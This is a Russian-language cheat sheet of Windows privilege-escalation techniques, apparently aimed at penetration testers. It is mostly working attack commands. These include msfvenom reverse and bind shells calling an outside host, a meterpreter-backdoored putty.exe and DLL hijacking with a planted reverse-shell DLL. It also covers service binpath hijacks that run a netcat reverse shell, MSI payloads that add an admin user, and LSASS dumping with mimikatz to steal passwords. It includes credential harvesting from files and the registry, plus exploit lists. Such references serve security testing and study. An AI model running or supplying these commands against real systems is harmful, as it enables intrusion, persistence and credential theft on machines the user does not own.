Cheatography

Windows Privilege Escalation v0.1 Cheat Sheet

by Adisf via cheatography.com/37294/cs/12009/

Clear-text passwords

Содержимое файлов, в которых хранятся пароли для авторазвертывания

C:\unattend.xml

%WINDIR%\Panther\Unattend\Unattended.xml

%WINDIR%\Panther\Unattended.xml

C:\sysprep.inf - [Clear Text]

C:\sysprep\sysprep.xml - [Base64]

Файлы, которые также могут содержать пароли в зашифрованном виде в атрибуте cpassword

group.xml

Services\Services.xml

ScheduledTasks\ScheduledTasks.xml

Printers\Printers.xml

Drives\Drives.xml

DataSources\DataSources.xml

Поиск различных файлов по маске

C:\> **dir /s *pass* == *cred* == *vnc* == *.config***

Поиск password в текстовых файлах

C:\> **findstr /si password *.txt | *.xml | *.ini**

C:\> **findstr /si pass *.txt | *.xml | *.ini**

Поиск password в реестре

C:\> **reg query HKLM /s | findstr /i password > temp.txt**

C:\> **reg query HKCU /s | findstr /i password > temp.txt**

C:\> **reg query HKLM /f password /t REG_SZ /s**

C:\> **reg query HKCU /f password /t REG_SZ /s**

Пароль автологина

C:\> **reg query "HKLM\Software\Microsoft\Windows NT\Currentversion\Winlogon"**

PSexec

В Linux'е

$ **psexec.py <user>@<host> <cmd>**

Из пакета SysInternals

C:\> **psexec.exe \\<host> <cmd>**

Создание bind-шелла

$ **msfvenom -p windows/shell_bind_tcp -f exe -o <Filename.exe> LPORT=<BindPort>**

$ **msfvenom -p windows/shell_bind_tcp -f dll -o <Filename.dll> LPORT=<BindPort>**

Уязвимости по патчам

MS07-022 - KB931784

MS07-066 - KB943078

MS08-064 - KB956841

MS09-058 - KB971486

MS10-015 - KB977165

MS10-021 - KB979683

MS10-059 - KB982799

MS10-092 - KB2305420

MS11-011 - KB2393802

MS11-080 - KB2592799

MS13-005 - KB2778930

CVE-2013-3660

MS12-078 - KB2783534

MS13-053 - KB2778930

MS13-081 - KB2870008

MS14-058 - KB3000061

MS14-068 - KB3011780

MS14-070 - KB2989935

MS15-001 - KB3023266

MS15-051 - KB3057191

MS15-052 - KB3050514

KiTrap0D - KB979682

Using accesschk.exe

Автоматически принять пользовательское соглашение

C:\> **accesschk.exe /accepteula**

Поиск директорий с правами на запись

C:\> **accesschk.exe -uwdqs Пользователи C:**

C:\> **accesschk.exe -uwdqs "Authenticated Users" C:**

Поиск файлов с правами на запись

C:\> **accesschk.exe -uwqs Пользователи c:*.***

C:\> **accesschk.exe -uwqs "Authenticated Users" c:*.***

C:\> **cacls "c:\Program Files" /T | findstr Пользователи**

Права на конкретный сервис

C:\> **accesschk.exe -ucqv [service_name]**

Слабые права на сервисы

C:\> **accesschk.exe -uwcqv ***

Права группы на запись у сервисов

C:\> **accesschk.exe -uwcqv "Authenticated Users" ***

WMIC (Win 7/8 -- XP requires admin)

Установленные патчи
C:\> **wmic qfe get Caption,Description,HotFixID,InstalledOn**
Поиск из установленных патчей нужного
C:\> **wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."**

Эксплоиты exploitdb

350,platforms/windows/local/350.c,"MS Windows 2000 Utility Manager Privilege Elevation Exploit (MS04-019)",2004-07-14,"Cesar Cerrudo",windows,local,0
351,platforms/windows/local/351.c,"MS Windows 2K POSIX Subsystem Privilege Escalation Exploit (MS04-020)",2004-07-17,bkbll,windows,local,0
1198,platforms/windows/local/1198.c,"MS Windows CSRSS Local Privilege Escalation Exploit (MS05-018)",2005-09-06,eyas,windows,local,0
1407,platforms/windows/local/1407.c,"MS Windows 2k Kernel APC Data-Free Local Escalation Exploit (MS05-055)",2006-01-05,SoBeIt,windows,local,0
1911,platforms/windows/local/1911.c,"MS Windows XP/2K (Mrxsmb.sys) Privilege Escalation PoC (MS06-030)",2006-06-14,"Ruben Santamarta ",windows,local,0
2412,platforms/windows/local/2412.c,"MS Windows (Windows Kernel) Privilege Escalation Exploit (MS06-049)",2006-09-21,SoBeIt,windows,local,0
3688,platforms/windows/local/3688.c,"MS Windows GDI Local Privilege Escalation Exploit (MS07-017)",2007-04-08,Ivanlef0u,windows,local,0
3755,platforms/windows/local/3755.c,"MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2",2007-04-17,"Lionel d'Hauenens",windows,local,0
3804,platforms/windows/remote/3804.txt,"MS Windows (.ANI) GDI Remote Elevation of Privilege Exploit (MS07-017)",2007-04-26,"Lionel d'Hauenens",windows,remote,0
5518,platforms/windows/local/5518.txt,"MS Windows XP SP2 (win32k.sys) Privilege Escalation Exploit (MS08-025)",2008-04-28,"Ruben Santamarta ",windows,local,0
14611,platforms/windows/dos/14611.c,"Microsoft Windows 'SfnLOGONNOTIFY' Local Privilege Escalation Vulnerability (MS10-048)",2010-08-10,MJ0011,windows,dos,0
18176,platforms/windows/local/18176.py,"Windows Afd.sys - Privilege Escalation Exploit (MS11-080)",2011-11-30,ryujin,windows,local,0
21844,platforms/windows/local/21844.rb,"MS11-080 AfdJoinLeaf Privilege Escalation",2012-10-10,metasploit,windows,local,0
27296,platforms/windows/local/27296.rb,"MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation",2013-08-02,metasploit,windows,local,0

Vulnerable EXE Permissions

Если есть доступ на запись к исполняемым файлам, то можно подсунуть свой файл и при запуске администратором этого файла получим шелл. Можно объединить исполняемый файл с нагрузкой с помощью метасплоита.
msf> **msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe**

PowerSploit

https://github.com/PowerShellMafia/PowerSploit
А точнее скрипт
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
Get-ServiceUnquoted найдет все сервисы без кавычек и с пробелами в полном путе
Get-ServicePerms перечислит все сервисы, на модификацию которых имеет право текущий пользователь
Get-ServiceEXEPerms проверит все исполняемые файлы сервисов и вернет файлы, на которые пользователь имеет право на запись
Invoke-ServiceUserAdd включает/останавливает сервис, реконфигурирует его, добавляя с его помощью локального пользователя и добавляя его в группу администраторов, рестартует и т.д.
Write-UserAddServiceBinary создает скомпилированный C# бинарник и бинарный патч, добавляющий пользователя.
Write-ServiceEXE записывает бинарник в указанный путь сервиса и возвращает оригинальные .exe
Invoke-FindDLLHijack является портированной версией Mandiant's FindDLLHijack. Проверяет все запущенные процессы и их загруженные модули и возвращает все hijackable-пути, т.е. путь к exe и модуль, которых не существует.
Invoke-FindPathDLLHijack ищет потенциально hijackable службы. DLL пути из %PATH%. Подробнее
http://www.greyhathacker.net/?p=738
Get-RegAlwaysInstallElevated проверяет включен ли ключ реестра AlwaysInstallElevated
Write-UserAddMSI может затем создать MSI, который добавит пользователя с админскими правами
Get-UnattendedInstallFiles поиск файлов автоматической установки .xml, которые могут содержать какие-либо учетные данные
Get-RegAutoLogon извлекает данные автологина из реестра

PowerSploit (cont)

Invoke-AllChecks запустит все проверки на повышение привилегий

Insecure Registry Permissions

Ошибки в правах на ветки реестра тоже могут помочь повысить привилегии, для проверки используется программа SubInACL
C:\> **subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Vulnerable Service" /display**
Если можем изменять ключ реестра, то выполним
C:\> **reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VulnerableService" /t REG_EXPAND_SZ /v ImagePath /d "C:\Users\testuser\AppData\Local\Temp\Payload.exe" /f**

DLL Hijacking

Статья, которая хорошо описывает данную уязвимость
When an application dynamically loads a dynamic-link library without specifying a fully qualified path name, Windows attempts to locate the DLL by searching a well-defined set of directories in a particular order, as described in Dynamic-Link Library Search Order. If an attacker gains control of one of the directories on the DLL search path, it can place a malicious copy of the DLL in that directory. This is sometimes called a DLL preloading attack or a binary planting attack. If the system does not find a legitimate copy of the DLL before it searches the compromised directory, it loads the malicious DLL. If the application is running with administrator privileges, the attacker may succeed in local privilege elevation..
Порядок проверки следующий
1) Директория, из которой запущено приложение.
2) Системная директория для 32-битных приложений (C:\Windows\System32).
3) Системная директория для 16-битных приложений (C:\Windows\System).
4) Папка C:\Windows.
5) Текущая папка.
6) Директории, указанные в переменной окружения PATH.
Для эксплуатации нам надо найти директорию откуда загружается DLL и подсунуть свою уровнем выше.
Так как мы не можем видеть какие библиотеки подгружаются, скачиваем себе исполняемый файл и анализируем его. Нас интересует LoadLibraryW

DLL Hijacking (cont)

Проанализировать можно с помощью ProcMon с установленными фильтрами
ProcessName is Vulnerable.exe
Result is NAME NOT FOUND
Path ends with .dll
Теперь нужно найти папку с правами на запись. Часто в корне диска C: установлены программы, к которым имеют доступ аутентифицированные пользователи (python27)
Проверим права
C:\> **accesschk.exe -dqv "C:\Python27"**
C:\> **icacls C:\Python27**
Аутентифицированные пользователи имеют права на модификацию
Создадим простой реверс-шелл
root@kali~# **msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.2.60 lport=8989 -f dll > hijackable.dll**
Загрузим
meterpreter> **upload -f hijackable.dll**
Скопируем наш DLL в папку с python27
C:\> **copy hijackable.dll C:\Python27\wlbsctrl.dll**
Процесс IKEEXT (“IKE and AuthIP IPsec Keying Modules”) пытается загрузить wlbsctrl.dll, который отсутствует в конфигурации системы по-умолчанию (Vista, 2008, 7, 8), а так как папка C:\python27 имеется в PATH, то эта библиотека будет подгружена при запуске этого сервиса (после перезагрузки системы)
C:\> **sc qc IKEEXT**

Ссылки

https://pentest.blog/windows-privilege-escalation-methods-for-pentesters/
https://xakep.ru/2014/12/24/hack-admin-rules/
http://www.fuzzysecurity.com/tutorials/16.html
http://www.fuzzysecurity.com/tutorials/18.html
http://www.greyhathacker.net/?p=738

Metasploit

Можно оставить в системе свой сертификат чтобы при перехватах трафика или при запуске некоторых приложений с проверкой издателя не выходило предупреждений
post/windows/manage/inject_ca

Сбор информации

Информация о системе
C:\> **systeminfo**
Текущий пользователь
C:\> **echo %username%**
C:\> **whoami**
Список пользователей
C:\> **net users**
C:\> **net user**
Информация о пользователе
C:\> **net user "%username%"**
Список групп
C:\> **net localgroup**
Версия ОС
C:\> **ver**
Установленные драйвера
C:\> **DRIVERQUERY**

Информация о сети

Сетевые адаптеры
C:\> **ipconfig /all**
Маршруты
C:\> **route print**
ARP-таблица
C:\> **arp -A**
Сетевые соединения с PID
C:\> **netstat -ano**
Сетевые соединения с именем процесса
C:\> **netstat -anb** - Требует повышения
Фаервол (только Win XP SP2+)
C:\> **netsh firewall show state**
C:\> **netsh firewall show config**
Пароль Wi-Fi
C:\> **netsh wlan export profile key=clear**

Кросскомпиляция

Компиляция с помощью wine
$ **cp /usr/share/exploitdb/platforms/windows/local/<exploit>.c /tmp/**
$ **cd /root/.wine/drive_c/MinGW/bin**
$ **wine gcc -o w00t.exe /tmp/<exploit>.c -l lib**

Управление сервисами

Создание и запуск сервиса
C:\> **sc create <servicename> binpath= "c:\windows\system32\cmd.exe /k <pathtobinaryexecutable>" DisplayName= <displayname>**
C:\> **sc start <servicename>**
Вывод списка всех служб, настроенных на компьютере
C:\> **sc query**
Настройка учетных записей регистрации и запуска служб
C:\> **sc config**
Отображение конфигурации определенной службы
C:\> **sc qc [service_name]**
Задачи по расписанию
C:\> **schtasks /query /fo LIST /v**
Запущенные процессы в запущенных службах
C:\> **tasklist /SVC**
C:\> **net start**

Эксплоиты в Metasploit

exploit/windows/local/always_install_elevated - excellent Windows AlwaysInstallElevated MSI
exploit/windows/local/bypassuac_injection - excellent Windows Escalate UAC Protection Bypass (In Memory Injection)
exploit/windows/local/ms10_015_kitrap0d - great Windows SYSTEM Escalation via KiTrap0D
exploit/windows/local/ms10_092_schelevator - excellent Windows Escalate Task Scheduler XML Privilege Escalation
exploit/windows/local/ms11_080_afdjoinleaf - average MS11-080 AfdJoinLeaf Privilege Escalation
exploit/windows/local/ms13_005_hwnd_broadcast - excellent MS13-005 HWND_BROADCAST Low to Medium Integrity Privilege Escalation
exploit/windows/local/ms13_053_schlamperei - average Windows NTUserMessageCall Win32k Kernel Pool Overflow (Schlamperei)
exploit/windows/local/ms13_081_track_popup_menu - average Windows TrackPopupMenuEx Win32k NULL Page
exploit/windows/local/ms13_097_ie_registry_symlink - great MS13-097 Registry Symlink IE Sandbox Escape
exploit/windows/local/ms14_009_ie_dfsvc - great MS14-009 .NET Deployment Service IE Sandbox Escape
exploit/windows/local/ms_ndproxy - average MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation
exploit/windows/local/ppr_flatten_rec - average Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation
exploit/windows/local/trusted_service_path - excellent Windows Service Trusted Path Privilege Escalation

Эксплоиты в Metasploit (cont)

exploit/windows/local/virtual_box_guest_additions - average VirtualBox Guest Additions VBoxGuest.sys Privilege Escalation
post/windows/escalate - Also look at these post exploitation modules...

Trusted Path Escalation

Если путь указан без кавычек и содержит пробел, то этим можно воспользоваться.
Например, путь **C:\Tools\Custom Tools\program.exe** может интерпретироваться как **C:\Tools\Custom.exe** с параметром **Tools\program.exe**
Имея права на запись в **C:\Tools** мы можем создать файл **C:\Tools\Custom.exe**, который и будет выполнен
Модуль метасплоита: **trusted_service_path**
Поиск с помощью WMIC
C:\> **wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """"**
Порядок выполнения, который проверяет система
C:\Program.exe
C:\Program Files.exe
C:\Program Files (x86)\Program.exe
C:\Program Files (x86)\Program Folder\A.exe
C:\Program Files (x86)\Program Folder\A Subfolder\Executable.exe
Проверить права на папку
C:\> **icacls "C:\Program Files (x86)\Program Folder"**
Интересующие права
F = Full Control
CI = Container Inherit – означает что все контейнеры наследуют этот флаг.
OI = Object Inherit – все файлы наследуют этот флаг
При запуске сервиса он почти сразу умирает, так как при запуске он должен общаться с Service Control Manager, а так как SCM не получает даных, то считает что что-то не так и убивает процесс, поэтому надо как только получили сессию мигрировать meterpreter на другой процесс.

Vulnerable Service Permission

Проверяем имеет ли текущий пользователь права на редактирование сервиса. Редактируем путь к исполняемому файлу сервиса на команду добавления пользователя или на свой шелл.

Vulnerable Service Permission (cont)

Можно проверить с помощью accesschk.exe и SC
Пример (SSDPSRV в win xp sp0-1)
sc config [service_name] binpath= "C:\nc.exe -nv [RHOST] [RPORT] -e C:\WINDOWS\System32\cmd.exe"
sc config [service_name] obj= ".\LocalSystem" password= ""
sc qc [service_name] (to verify!)
net start [service_name]
Модуль метасплоита: **service_permissions**
Некоторые известные уязвимые сервисы
Windows XP with sp2
* - As Power User:
* service: DcomLaunch (SYSTEM)
* Service: UpnpHost (Local Service)
* Service: SSDPSRV (Local Service)
* Service: WMI (SYSTEM) <- sometimes as user also..
* - As User:
* Service: UpnpHost (Local Service)
* Service: SSDPSRV (Local Service)
* - As Network Config Operators:
* service: DcomLaunch (SYSTEM)
* Service: UpnpHost (Local Service)
* Service: SSDPSRV (Local Service)
* Service: DHCP (SYSTEM)
* Service: NetBT (SYSTEM - .sys driver)
* Service DnsCache (SYSTEM)
Windows 2000
* - As Power user
* service: WMI (SYSTEM)
Third Part software (local & remote code execution)
* Service: [Pml Driver HPZ12] (HP Software - C:\WINNT\system32\spool\DRIVERS\W32X86\3\HPZipm12.exe)
* -Granted Full Control to Everyone Group.
* Service: [Autodesk Licensing Service] (Autocad - C:\program files\Common files\Autodesk Shared\Service\AdskScSrv.exe)
* -Maybe related to: http://www.securityfocus.com/bid/16472
* -Autodesk Multiple Products Remote Unauthorized Access Vulnerability

AlwaysInstallElevated

Нас интересуют ключи
[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
“AlwaysInstallElevated”=dword:00000001
которые позволяют любому установить msi с повышенными привилегиями
C:\> **reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated**
C:\> **reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated**
Если выйдет ошибка, то политика отключена, но если установлен параметр, то мы можем это использовать
root@kali:~# **msfvenom -f msi-nouac -p windows/adduser USER=eviladmin PASS=P4ssw0rd@ -o add_user.msi**
Или без добавления пользователя
root@kali:~# **msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o Payload.exe**
root@kali:~# **msfvenom -f msi-nouac -p windows/exec cmd="C:\Users\testuser\AppData\Local\Temp\Payload.exe" > malicious.msi**

Privilege Escalation with Task Scheduler

Работает только на Windows 2000, XP, или 2003. В этих системах задачи по расписанию выполняются с системными правами.
root@kali:~# **msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=192.168.2.60 LPORT=8989 -f exe -o Payload.exe**
C:\> **net start "Task Scheduler"**
C:\> **at 06:42 /interactive "C:\Documents and Settings\test\Local Settings\Temp\Payload.exe"**
Утилита schtasks позволяет вешать задачи на определенные события. Наиболее интересные для нас — ONIDLE, ONLOGON и ONSTART

Removed autorun programms

Очень часто случается, что система хранит запись о файле, который надо автоматически запустить, даже после того, как сам файл уже канул в Лету. Может, какой-то сервис был некорректно удален — исполняемого файла нет, а запись в реестре осталась, и при каждом запуске система безуспешно пытается его стартануть, забивая журнал событий сообщениями о фейлах.

Removed autorun programms (cont)

Этой ситуацией также можно воспользоваться для расширения своих полномочий. Первым делом надо найти все такие осиротевшие записи. Например, при помощи утилиты autorunsc от Sysinternals.. C:\> **autorunsc.exe -a | findstr /n /R "File\ not\ found"**

Mimikatz и procdump

Сначала получим дамп процесса LSASS. Можно это сделать с помощью mimikatz, но с ProcDump можно не беспокоиться о предупреждениях антивирусов
C:\> **procdump.exe -accepteula -ma lsass.exe lsass.dmp**
После получения дампа можно скормить его mimikatz и получить пароли
C:\Mimikatz\x32> **mimikatz.exe**
mimikatz# **sekurlsa::minidump C:\Users\Fubar\Desktop\lsass.dmp**
mimikatz# **sekurlsa::tspkg**
Таким образом можно получить пароли пользователей, которые недавно авторизовывались
Некоторые возможности mimikatz
wdigest (пароли AD)
kerberos (хэши LM/NTLM)
oss (пароли Outlook)
livessp (windows 8 пароль)
msv (пароль AD)
tspkg (пароль AD)

PowerShell

AD DNS-zone transfer
PS C:\> Get-WmiObject -ComputerName dc1 -Namespace root\microsoftDNS -Class MicrosoftDNS_ResourceRecord -Filter "domainname=uriit.local" | select textrepresentation